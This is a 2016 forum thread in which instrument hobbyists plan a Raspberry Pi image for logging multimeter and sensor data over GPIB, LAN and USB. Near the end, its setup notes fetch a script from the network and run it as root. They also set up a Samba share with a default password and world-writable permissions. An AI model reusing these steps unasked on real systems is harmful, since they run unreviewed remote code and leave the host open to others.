Poll

Interested/Instrument/Interface

Yes,3458A,GPIB
17 (23.9%)
Yes,3458A,Prologix
10 (14.1%)
Yes,K2001/K2002,GPIB
11 (15.5%)
Yes, post type of instrument and type of interface (GPIB,Prologix,USB,LAN, RS232)
29 (40.8%)
Not interested, why?
4 (5.6%)

Total Members Voted: 44

Voting closed: December 13, 2016, 11:12:53 am

Author Topic: Raspberry Pi2/3 logging platform for Voltnuts  (Read 144573 times)

0 Members and 2 Guests are viewing this topic.

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Raspberry Pi2/3 logging platform for Voltnuts
« on: November 13, 2016, 11:08:18 am »
Lot of members here needs to log data for various instruments.
And because there is no commonly accepted platform I would like to start collecting inputs for preparation image for RPi2/3 for data-logging over GPIB/LXI and USB.
Steps will be update on TiN website as well.
https://xdevs.com/guide/ni_gpib_rpi/
Soo will be there also RPi image which you will needs to restore on SD card.

Please add in this thread what you would like to log and what instrument.
Some of you have Prologix adapter which we can probably support with small modifications as well.
For logging environment is used BME280 ( temperature. humidity, pressure) sensors are pretty cheap $5 and reasonably accurate.

On RPi is running Apache as webserver and ProFTPd as FTP to access logs, of course SSH with screen  :)
Webpage on RPI contains live view of logged data with D3, from instrument and also data from BME280.

 
The following users thanked this post: pmcouto, DiligentMinds.com, Assafl

Offline VK5RC

  • Supporter
  • ****
  • Posts: 2672
  • Country: au
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #1 on: November 13, 2016, 11:23:32 am »
Hi Plesa,
For my vote its is all HP-Ag-Ks GPIB equipment with either  Prologix or HP 82357B. The later has some problems with clones abounding everywhere.
NI also in the running.
Thanks
Whoah! Watch where that landed we might need it later.
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #2 on: November 13, 2016, 11:28:37 am »
plesa

Apache, noooo... How about nginx. I can help with setup.
I suggest to set deadline date for inputs , so after you could focus on making all features for version 0.1. ;)
If you want I can provide mercurial repository for sources/build files, etc off my server (no size limits).

I'd be happy with next feature set:

* Latest Pi3 kernel 4.x.x + linux-gpib (Have both Pi1 and Pi3 here)
* Python 2.7 as code platform
* Support for NI GPIB-USB-HS (I can test this)
* Support for Agilent GPIB pods and their clones  (can test with clone)
* Support for popular adapter like Prologix
* Support HP 34401A/3446xA
* Support HP 3458A (can test this)
* Support Keithley 2000
* Support Keithley 2001/2002 (can test this with both 2001 and 2002)
* Support BME280 for environment monitoring using I2C
* Function to upload CSV-data to remote FTP
* SSH via dhcp-network

Supporting all GPIB equipment would be many years of work, so I'd leave that out. If somebody need support specific piece of gear, they can dig thru instruments manual and write own python code to support logging required data.
For example I have Keithley 2510 TEC SMU, and use same app to log TEC power, temperature and current together with DMM samples, but I can't expect everyone to write support for it, just because I need it :) After few trial and errors it's not that hard for DIY.
« Last Edit: November 13, 2016, 11:33:07 am by TiN »
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #3 on: November 13, 2016, 11:34:09 am »
If it's python, I can help to write support for Keithley 2001, 2002, 2400, 2510, 182, HP 3458, Wavetek 4920/4920M.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline pmcouto

  • Supporter
  • ****
  • Posts: 96
  • Country: pt
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #4 on: November 13, 2016, 11:43:56 am »
Hi Plesa,

Thanks for your efforts.

I would like to have support for data logging over LAN for Keithley DMM7510, Tek DMM4050/Fluke 8846A and Keysight 3446xA/34470A.
 

Online 2N3055

  • Super Contributor
  • ***
  • Posts: 6445
  • Country: hr
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #5 on: November 13, 2016, 11:46:21 am »
Plesa,
thanks for sharing...

For the moment I have Rigol DM3068 and RPi2..  It would be over Ethernet.
I would like to help with that.

P.S. Where did you guys get BME280 from?
 

Offline pmcouto

  • Supporter
  • ****
  • Posts: 96
  • Country: pt
 
The following users thanked this post: 2N3055

Offline acbern

  • Frequent Contributor
  • **
  • Posts: 316
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #7 on: November 13, 2016, 12:49:00 pm »
Great idea overall!! If this is written in Python, would it not also run (or could it be written in siuch a way) that it runs on a PC?
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #8 on: November 13, 2016, 01:28:09 pm »
That's possible too, I used such way before with PyVISA , but quickly dropped the idea as having separate box, without tie to bulky PC is well worth those 35$ for Pi.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline HighVoltage

  • Super Contributor
  • ***
  • Posts: 5453
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #9 on: November 13, 2016, 01:48:04 pm »
Right now I am using the Prologix and RF Scientific logging software on my 3458A and other Agilent gear.
But I am very much interested in other options, especially RP.
There are 3 kinds of people in this world, those who can count and those who can not.
 

Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 730
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #10 on: November 13, 2016, 02:53:02 pm »
I have been working on a small side project with the BME280. It takes the code we are using from Adafruit one step further by making it a network service.

Instead of calling it directly through the i2c interface, a server runs in the background and a client connects to it and gets the data. I have been using the server for some months now acting as a Fluke 1620A emulator. I have the real thing but it doesn't work very well and drops data intermittently.
I just wrote a client module that can be imported into a python app. It only requires a couple lines of code. The server and client can also reside on the same RPi if needed. My plan is to have a RPi run 24/7 feeding data to my Windows program monitoring 10V references and I won't have to move it around when I collect data for xDevs on a second RPi.

The code will be posted in a few days as I am waiting for a small case to show up that will also have a TFT display. I will be writing up an article in case anyone is interested in making one for their home lab. Plesa can also add it to the img file.
 
The following users thanked this post: Theboel, Dwaine, 2N3055

Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 730
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #11 on: November 13, 2016, 03:10:03 pm »
Plesa,

I have attached a couple of shell scripts I used to setup my RPi on wheezy. If you find any of it useful you can add it to your project. The rpi_gpib_installer.sh works well but it only lets you select either the Agilent or NI interfaces. It might not be difficult to change for a universal install.
 
The following users thanked this post: 2N3055

Online wraper

  • Supporter
  • ****
  • Posts: 16792
  • Country: lv
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #12 on: November 13, 2016, 03:18:50 pm »
Keysight 34461A, Rigol DM3068 over LAN.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #13 on: November 14, 2016, 08:01:19 pm »
Thanks for all inputs. Extra Kudos for  TiN and ManateeMafia
Based on voting majority needs support 3458A, so lets start with this instrument.
It is going to use latest Raspbian with Pixel, this is answer to TiN question related to kernel ( 4.4.26) and Python 2.7.9

GPIB interface:
NI GPIB-USB-HS - TiN, Plesa
Agilent 82357B ( official)  - we needs volunteer for testing
Agilent 82357B ( clone)  - I have dead clone only :(
Prologix GPIB-USB v6.0  - we needs volunteer for testing
Agilent E5810A  - Plesa

LAN:
support for LAN is made by
https://github.com/python-ivi/python-vxi11
http://alexforencich.com/wiki/en/python-vxi11/start
Alex Forencich ( member here)  - author of python-vxi11 and also USBTMC

Instruments (Support means script for dataloging)
In first phase only 3458A,K2001,K2002
Future phases  3441xA/34401A/3446xA

Enviroment:
2x BME280 connected to I2C - Python dataloging with Adafruit code to log file (csv) and ploting data on webpage on RPI (similar look like Fluke 1620A display  - 2nd page of datasheet)
http://download.flukecal.com/pub/literature/3397500_6200_ENG_B_W.PDF
2 sensors as minimum
BME280 sensors I used are these
https://www.sparkfun.com/products/13676
Others posted above do not allow to set I2C address, there are similar on Ebay for $5/pcs.

Data upload:
Function to upload CSV-data to remote FTP. I will prefer to make data available on RPI FTP instead of active upload.
Who needs this except TiN?

SSH access is default.
Apache2/NGINX - any preference except TiN?

Now we needs to discuss how to process data. I checked options like KST ( stability ) and ended like TiN with D3.js. There is possibility to plot graphs by D3 on server side to reduce processing time on webpage, but I needs to investigate further. Dataplot of 10MB takes 20-30s.
Currently I can imagine one page for data from 3458A ( timestamp, temperature, humidity,pressure) second page for environment log and third page as universal for generic instruments ( timestamp, value).
Any suggestions how to visualize data?
« Last Edit: November 14, 2016, 10:09:43 pm by plesa »
 
The following users thanked this post: TiN, 2N3055

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #14 on: November 14, 2016, 10:30:45 pm »
It whould be nice to have a web interface to setup measurement experiment/project.

Inviato dal mio Nexus 6P utilizzando Tapatalk

 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #15 on: November 14, 2016, 10:34:49 pm »
I don't know how D3 works, but I think it will be useful to have a file format that explains how to plot data and few "macro" to add things like stddev, convergence, ppm deviation between two measurements etc. If there is something like this, you can plot chart with one script.

Inviato dal mio Nexus 6P utilizzando Tapatalk

 

Offline lwatts666

  • Supporter
  • ****
  • Posts: 76
  • Country: au
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #16 on: November 15, 2016, 03:50:32 am »
The guys at sigrok.org have done a lot of work on unified cross platform drivers for various instruments and put it all under the GPL. You may be able to leverage some of their work. If nothing else, there is a lot info there.
 
The following users thanked this post: TiN

Offline t2kv

  • Contributor
  • Posts: 10
  • Country: au
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #17 on: November 15, 2016, 06:34:41 am »
Keysight 34461A over either LAN or USB, please.
 

Offline enut11

  • Frequent Contributor
  • **
  • Posts: 933
  • Country: au
  • Love building/modifying/restoring test equipment
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #18 on: November 15, 2016, 09:16:56 am »
@plesa

I have an HP3456A and Agilent HPIB to USB interface on the way. Also have RP3.
enut11
an electronics nut from wayback...
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #19 on: November 16, 2016, 12:41:20 am »
Hmmh, I'm generally in favor of strict separation of hard- and software, otherwise there will be unnecessary duplication of effort and fragmentation of community and knowledge.

If you suggest Raspberry Pi, I suppose you're ok with using Linux.  When the task is to access the GPIB using Linux, then the obvious choice would be to use the linux-gpib library (http://linux-gpib.sourceforge.net/), no?  Well, that's what I'm using at least (with an old PCI GPIB interface -- I also have a USB GPIB interface, but that doesn't seem to work well with multiple devices or older HPIB gear).

I would like to see more support for GPIB devices and perhaps on the high level ("presentation layer" if you will), like the web interface you suggest.
 

Offline Nuno_pt

  • Frequent Contributor
  • **
  • Posts: 435
  • Country: pt
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #20 on: November 16, 2016, 09:27:40 am »
Morning all,

I also have an 3456 on the way and a Agilent 82357B clone, 2xBME280 on the way, all to join the K2000 and the 3457.

They are all connected via GPIB cables.

I've 2xRPi2.

So for me would be great in the 3456/7 could be add to the list.
Nuno
CT2IRY
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #21 on: November 16, 2016, 03:51:51 pm »
If I remember K2001 and K2002 have 3458A GPIB compatibility mode ... so supporting 3458A means also K2001 and K2002.
Anyone used this compatibility mode up to now on Keithely? How it works?

Anyway I think we must think at this as at least 3 software layer for just capturing the data:
  • TOP LAYER: gather data and store on CSV or some file based database
  • MIDDLE LAYER: implements instrument interface
  • LOW LEVEL LAYER: write GPIB commands to the physical interface (for supporting specific hardware - Prologix, 82357B, GPIB ENET, etc)
in this way we can implement how many LOW layer or instrument we wants without changing (too much) the other TOP layers.

Than I imagine a simple web interface made by two main modules:
  • interface for set "logging" tasks (this module speaks with TOP LAYER and configure the instrument for doing measurements), this interface show also the real time measured data
  • interface and module to elaborate the stored data gathered by TOP LAYER and to present them in the most appropriate way (charts, tables, etc) 
« Last Edit: November 16, 2016, 04:12:44 pm by mimmus78 »
 

Offline klaus11

  • Supporter
  • ****
  • Posts: 156
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #22 on: November 16, 2016, 05:55:30 pm »
K2001 does not play with 3458A
HP3458A, HP3245a, Keithley 2000, Fluke 87V, Rigol DP832, TEK TDS5052B, HP33120A
 
The following users thanked this post: TiN

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #23 on: November 16, 2016, 08:38:32 pm »
I have Raspi1 , and Raspi3
I would prefer Apache (sorry TIN)


Agilent 82357B ( clone)  - I have one , working excellent , and a Beiming
Agilent E5810A  - I have one , but not used it yet

Edit:
Have ordered : 2x BME280

/Bingo
« Last Edit: November 18, 2016, 09:27:53 pm by bingo600 »
 

Offline lukier

  • Supporter
  • ****
  • Posts: 634
  • Country: pl
    • Homepage
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #24 on: November 16, 2016, 10:14:32 pm »
Agilent E5810A  - I have one , but not used it yet

Care for a mini teardown? I was thinking about GPIB-LAN bridges recently, because I only have one USB-GPIB adapter (also a 82357B clone) and it's not as convenient as having access to all the instruments from the network. So I've came up with the idea to implement a linux-gpib to VXI bridge to emulate E5810B (could do that with a RPi and this clone USB adapter perhaps), but I need to do more research on that.

While researching this I was looking at existing GPIB-LAN gateways, Keysight, ICS and also I've analyzed E5810B firmware a bit and it seems very clever as it uses TI's AM335X and the PRUSS cores to do the GPIB. I never saw the insides of this gateway so I don't know if PRUSS is bitbanging some GPIB interface chip (NAT9914 and the likes) or probably GPIB transceivers directly, which would be quite cool and fast. The kernel modules, especially the one responsible for talking to the PRUSS and GPIB is tagged with the GPL linker symbol, but I didn't find sources anywhere  :(
 

Offline Circuitous

  • Supporter
  • ****
  • Posts: 237
  • Country: us
    • Corgi-Tronics
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #25 on: November 17, 2016, 03:24:41 am »
I'm definitely interested in this project!

I'm interested in LAN support for any of:
34461A - Agilent
34410A - Agilent
DMM7510 - Keithley
2450 SMU - Keithley
DM3068 - Rigol

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #26 on: November 19, 2016, 06:50:28 pm »
Agilent E5810A  - I have one , but not used it yet

Care for a mini teardown? I was thinking about GPIB-LAN bridges recently, because I only have one USB-GPIB adapter (also a 82357B clone) and it's not as convenient as having access to all the instruments from the network. So I've came up with the idea to implement a linux-gpib to VXI bridge to emulate E5810B (could do that with a RPi and this clone USB adapter perhaps), but I need to do more research on that.

While researching this I was looking at existing GPIB-LAN gateways, Keysight, ICS and also I've analyzed E5810B firmware a bit and it seems very clever as it uses TI's AM335X and the PRUSS cores to do the GPIB. I never saw the insides of this gateway so I don't know if PRUSS is bitbanging some GPIB interface chip (NAT9914 and the likes) or probably GPIB transceivers directly, which would be quite cool and fast. The kernel modules, especially the one responsible for talking to the PRUSS and GPIB is tagged with the GPL linker symbol, but I didn't find sources anywhere  :(

I have an E5810A wo. USB , doubt there's a "Beagle" MCU in there.

AFAIK HighVoltage have a B'

/Bingo
 
 
The following users thanked this post: lukier

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #27 on: November 19, 2016, 08:05:41 pm »
Agilent E5810A  - I have one , but not used it yet

Care for a mini teardown? I was thinking about GPIB-LAN bridges recently, because I only have one USB-GPIB adapter (also a 82357B clone) and it's not as convenient as having access to all the instruments from the network. So I've came up with the idea to implement a linux-gpib to VXI bridge to emulate E5810B (could do that with a RPi and this clone USB adapter perhaps), but I need to do more research on that.

While researching this I was looking at existing GPIB-LAN gateways, Keysight, ICS and also I've analyzed E5810B firmware a bit and it seems very clever as it uses TI's AM335X and the PRUSS cores to do the GPIB. I never saw the insides of this gateway so I don't know if PRUSS is bitbanging some GPIB interface chip (NAT9914 and the likes) or probably GPIB transceivers directly, which would be quite cool and fast. The kernel modules, especially the one responsible for talking to the PRUSS and GPIB is tagged with the GPL linker symbol, but I didn't find sources anywhere  :(

I suppose I already posted internal picture of E5810A, but it use the Power PC AMCC PPC405.Firmware seems to be made by ICS Electronic http://www.icselect.com.
And there is also one Xilinx Spartan, 83846 PHY and some Cypress for USB. If you wants picture of A version I can post within 2-3 weeks, when I will be back home:)
The main board looks more like some platform, because on front are 3x 64 pin connectors to connect display and few leds on front panel.

If I remember K2001 and K2002 have 3458A GPIB compatibility mode ... so supporting 3458A means also K2001 and K2002.
Anyone used this compatibility mode up to now on Keithely? How it works?
K2001 do not have compatibility mode. It is only on K2001
I'm interested in LAN support for any of:
34461A - Agilent
34410A - Agilent
DMM7510 - Keithley
2450 SMU - Keithley
DM3068 - Rigol
Both 34461A and 3441xA will be working. For Keithley/Rigol I do not have access to them, but based on how Python scripts are, you can add their support (logging) easily.
Some old meters like 3457A I have in garage, so their support can be added later.

I don't know how D3 works, but I think it will be useful to have a file format that explains how to plot data and few "macro" to add things like stddev, convergence, ppm deviation between two measurements etc. If there is something like this, you can plot chart with one script.
Statistic available in D3 is min,max,mean,median,deviation, ppm is calculated against defined reference value. But If you needs something more complex you can access log by Samba of FTP and work with data in Excel/Libre Office or other statistical program.

In meantime I needs to define data separator ( comma, tab or semicolon) my preference is tab. So log files will be tsv and not csv. Any complains?

Current status:
Image for RPi 2/3 is ready ( ext4 replaced by F2FS)
Support implemented and tested for: LAN instruments ( tested with 34411A), USB ( by USBTMC, tested with 34411A), GPIB (NI USB-GPIB-HS,E5810A)
-big thanks to Alex Forecich ( member here)
http://www.alexforencich.com/wiki/en/python-vxi11/start
http://www.alexforencich.com/wiki/en/python-usbtmc/start
Modified Adafruid library to support two BME280 sensors

Now lets to discuss the D3 and plot part.
A) I propose to have separate graph for Environment data ( both BME280 in one graph) .
B) Measurement data in second graph with environment data from one sensor ( add plot for ppm).

On chart are possible following functions:
Zoom in/Zoom out
Display values on mouse over

Any ideas?

BTW Thanks to VK5RC - He donated one 82357B clone for testing.
Prologix has been ordered.

I can upload current version of image (8GB SD card is minimum) or wait for Prologix. Anyone interested in current version?

« Last Edit: November 19, 2016, 09:09:21 pm by plesa »
 
The following users thanked this post: lukier

Offline lukier

  • Supporter
  • ****
  • Posts: 634
  • Country: pl
    • Homepage
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #28 on: November 19, 2016, 08:28:43 pm »
I suppose I already posted internal picture of E5810A, but it use the Power PC AMCC PPC405.Firmware seems to be made by ICS Electronic http://www.icselect.com.
And there is also one Xilinx Spartan, 83846 PHY and some Cypress for USB. If you wants picture of A version I can post within 2-3 weeks, when I will be back home:)
The main board looks more like some platform, because on front are 3x 64 pin connectors to connect display and few leds on front panel.

I suspected that Agilent might have rebranded some ICS stuff. Someone here did a teardown of ICS 8065, based on NAT7210 interface chip, driven by LH75411 ARM7TDMI.

Thanks for the description, seems too like departure from NI interface chips (EOL I suppose), so probably the Spartan does the GPIB protocol details and just passes data back and forth with the PowerPC. Still not as clever and simple as driving the GPIB transceivers straight from the PRU cores :)

Anyway, that's just curiosity, I don't want to dive deep into the GPIB details to be able to implement this in PRU. I'm leaning towards just a piece of software to translate VXI11 to linux-gpib calls so anyone with any supported GPIB adapter (NI, Agilent, Beiming, clones etc) and board of choice (RPi, BeagleBone etc) could set up a GPIB to LAN gateway.

TI AM335X GPIB would be useful for those that don't have any GPIB adapters or slow ones (e.g. not NI HS variant), but requires much more and low level work.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #29 on: November 19, 2016, 09:04:33 pm »
I suppose I already posted internal picture of E5810A, but it use the Power PC AMCC PPC405.Firmware seems to be made by ICS Electronic http://www.icselect.com.
And there is also one Xilinx Spartan, 83846 PHY and some Cypress for USB. If you wants picture of A version I can post within 2-3 weeks, when I will be back home:)
The main board looks more like some platform, because on front are 3x 64 pin connectors to connect display and few leds on front panel.

Agilent might have rebranded some ICS stuff. Someone here did a teardown of ICS 8065, based on NAT7210 interface chip, driven by LH75411 ARM7TDMI.

Thanks for the description, seems too like departure from NI interface chips (EOL I suppose), so probably the Spartan does the GPIB protocol details and just passes data back and forth with the PowerPC. Still not as clever and simple as driving the GPIB transceivers straight from the PRU cores :)

Anyway, that's just curiosity, I don't want to dive deep into the GPIB details to be able to implement this in PRU. I'm leaning towards just a piece of software to translate VXI11 to linux-gpib calls so anyone with any supported GPIB adapter (NI, Agilent, Beiming, clones etc) and board of choice (RPi, BeagleBone etc) could set up a GPIB to LAN gateway.

TI AM335X GPIB would be useful for those that don't have any GPIB adapters or slow ones (e.g. not NI HS variant), but requires much more and low level work.

I also suppose that it is re-brand or some of their OEM product.
NI seems to have also obsolescence problems and that why they made NI GPIB-USB-HS+, it can be interesting what is inside.
It can be useful, but the amount of work seems to be big, maybe for someone like NighPanda who made Beiming adapter:)

BTW I'm surprised how many people are using one adapter per instrument, after that is GPIB quite "expensive" interface.And GPIB cables are so cheap on eBay:)


« Last Edit: November 19, 2016, 09:10:06 pm by plesa »
 

Offline lukier

  • Supporter
  • ****
  • Posts: 634
  • Country: pl
    • Homepage
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #30 on: November 19, 2016, 09:29:08 pm »
BTW I'm surprised how many people are using one adapter per instrument, after that is GPIB quite "expensive" interface.And GPIB cables are so cheap on eBay:)

Seriously? Bus is in the name :) I wouldn't call GPIB cables cheap (especially when compared to mass produced computer cables), but still much cheaper than even Agilent clones or Beiming.

BTW For those looking for GPIB cables I can recommend this seller:

http://www.ebay.co.uk/itm/400964594669

Bought from them 4 last year and 4 pcs recently and these cables are of very good quality, solid metal connector. Much better than some GPIB cables I found in the dumpster once (insulation coming out of the connector, plastic connector shells etc).
 

Offline Nuno_pt

  • Frequent Contributor
  • **
  • Posts: 435
  • Country: pt
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #31 on: November 20, 2016, 10:19:40 pm »
I've bought 10x 50cm HP GPIB cables for $30 to connect everything toghether.
I already have the 53181 conhecer to the 3457, and the 3457 conhecer to the K2000.
Next will be the K2000 conhecer to the 3456, then the 3456 conhecer to the PC with GPIB to USB HP clone.
Nuno
CT2IRY
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #32 on: November 21, 2016, 04:09:25 am »
plesa
Quote
I can upload current version of image (8GB SD card is minimum) or wait for Prologix. Anyone interested in current version?

My SD card in one of Pi1's died recently, so I'm surely can try new image now  ;D.

One more suggestion - to have main linux partition located in the end of the image. So it could be easily expanded to larger SD cards. It's PITA to do so if there is other smaller partition in the end or swap in 8GB image, and you use it on 32GB card for example  :-\ Yea, my linux-magic not that great.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 
The following users thanked this post: plesa

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #33 on: November 21, 2016, 10:05:46 pm »
plesa
Quote
I can upload current version of image (8GB SD card is minimum) or wait for Prologix. Anyone interested in current version?

My SD card in one of Pi1's died recently, so I'm surely can try new image now  ;D.

One more suggestion - to have main linux partition located in the end of the image. So it could be easily expanded to larger SD cards. It's PITA to do so if there is other smaller partition in the end or swap in 8GB image, and you use it on 32GB card for example  :-\ Yea, my linux-magic not that great.

Image is being uploaded to xDevs FTP :) File is called RPi_LogNut.7z
I tried to minimize the image size, but there seems to be problem with F2FS ( but I have much better experience with F2FS than with Ext4 FS).
Current image size after compression is 2.2GB. For image creation was used Win32DiskImager.
On image is enabled Samba, so you can access/map  /pub directory on your main computer.
Following has been tested:
   Connection to LAN instrument ( example /pub/python/Test_LAN.py)
   Connection to USB  instrument ( example /pub/python/Test_USB.py)
   Connection to GPIB instrument over NI adapter ( example /pub/python/Test_GPIB.py)
   Samba /pub ( read/write)
  BME280 logging (   /pub/python/BME280/BME_Logging_tsv.py)

Following needs to be set:
  webserver
  D3 scripts for logging (I would like to make it universal - description of plot loaded from log file header)
  Test support for 82357B clone adapter
  Test Prologix GPIB-USB Controller 6.0


Here are notes if someone want to update you own image:
1. Download Raspbian image  (RASPBIAN JESSIE WITH PIXEL)  it will take a while 1.4GB
https://www.raspberrypi.org/downloads/raspbian/

2. For image installation follow
https://www.raspberrypi.org/documentation/installation/installing-images/README.md

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install screen mc f2fs-tools i2c-tools samba samba-common-bin bc python-dev rpi-update tk-dev build-essential texinfo texi2html libcwidget-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtool

sudo rpi-update
sudo wget https://raw.githubusercontent.com/notro/rpi-source/master/rpi-source -O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-update
sudo rpi-source
sudo reboot

cd /opt
sudo svn checkout http://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/ linux-gpib
cd linux-gpib
sudo ./bootstrap
sudo ./configure
sudo make
sudo make install

sudo svn checkout https://github.com/python-ivi/python-vxi11/trunk python-vxi11
cd python-vxi11
sudo python setup.py install

sudo svn checkout https://github.com/python-ivi/python-usbtmc/trunk python-usbtmc
cd python-usbtmc   
sudo python setup.py install
sudo pip install pyusb

# Following part is test USB connection
import usbtmc
instr =  usbtmc.Instrument("USB::0x0957::0x0a07::INSTR")
print(instr.ask("*IDN?"))
# Agilent Technologies,34411A,MY480060XX,2.41-2.40-0.09-46-09
Vice info https://github.com/python-ivi/python-usbtmc


# I2C
enable i2C in raspi-config
sudo raspi-config
-7 Advanced Options - A7 I2C Enable/Disable automatic loading of I2C kernel module - YES
reboot
# Now detect the BME280 by
sudo i2cdetect -y 1
pi@raspberrypi:~ $ sudo i2cdetect -y 1
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
00:          -- -- -- -- -- -- -- -- -- -- -- -- --
10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
70: -- -- -- -- -- -- 76 77

# Address 77 and 76 - BME280

Install adafruit library
cd opt   
sudo git clone https://github.com/adafruit/Adafruit_Python_GPIO.git
cd Adafruit_Python_GPIO
sudo python setup.py install

Modication second module ( I2C address to 76 instead 77 )
https://cdn.sparkfun.com/datasheets/Sensors/Weather/SparkFun_BME280_Breakout_v10.pdf

# Samba configuration
sudo smbpasswd -a pi
enter Samba password (raspberry)

create /pub directory
mkdir pub
chown -R  pi /pub
sudo nano /etc/samba/smb.conf

# add following to smb.conf
[pub]
   comment= RPi pub
   path=/pub
   browseable=Yes
   writeable=Yes
   only guest=no
   create mask=0777
   directory mask=0777
   public=no

 
The following users thanked this post: Assafl

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #34 on: November 22, 2016, 07:00:54 pm »
@Plesa

Any hints/picts for mounting the BME280's ?
Do you have them on "cables" or what ?

Is the image for a Raspi3 , or can it run on a Raspi1 (old 512MB)  too ?

Edit: Thanx for doing this Plesa  :-+

Ohh suggestion . NFS Client , to be able to log data to a remote NFS disk , will also reduce the wear on the SD card.

/Bingo
« Last Edit: November 22, 2016, 07:15:10 pm by bingo600 »
 

Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 730
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #35 on: November 22, 2016, 10:21:27 pm »
@bingo600

I have the Adafruit version of the BME280 breakout and I plan on putting mine inside of a Hammond 1551MFLBK enclosure. One of the holes of the pcb will be used to secure it to one of the internal standoffs.

The enclosure is much larger but I like the fact I can use a zip tie to temporarily mount it where it is needed. I will have to drill some small holes near the sensor.

I have found the board to be highly sensitive to air drafts and have been keeping mine wrapped in anti-static foam for a while now.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #36 on: November 22, 2016, 11:49:29 pm »
2x BME are hooked on I2C cable. One is packed with LTZ board inside polystyrene box.It is not secure by any screw.Nothing fancy I was in hurry to hook it up before leaving.

Image should be transferable to RPi2 ( tested ) for RPi I propose to run sudo apt-get update && sudo apt-get upgrade && rpi-update && reboot.
And after that I will be probably required to reinstall Linux-gpib according to notes above.

The NFS client, is good idea. The main aim of making this image is to help to people with 3458A and other instrument to setup powerful logging tool.
Currently we needs to more focus on interpreting the data (website for piloting basic scripts) rather than fine tunning image I think.
Wear level of SD card is not big deal, the majority of failures I have in past was related to corrupted FS. That's why I changed default Ext4 to F2FS.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
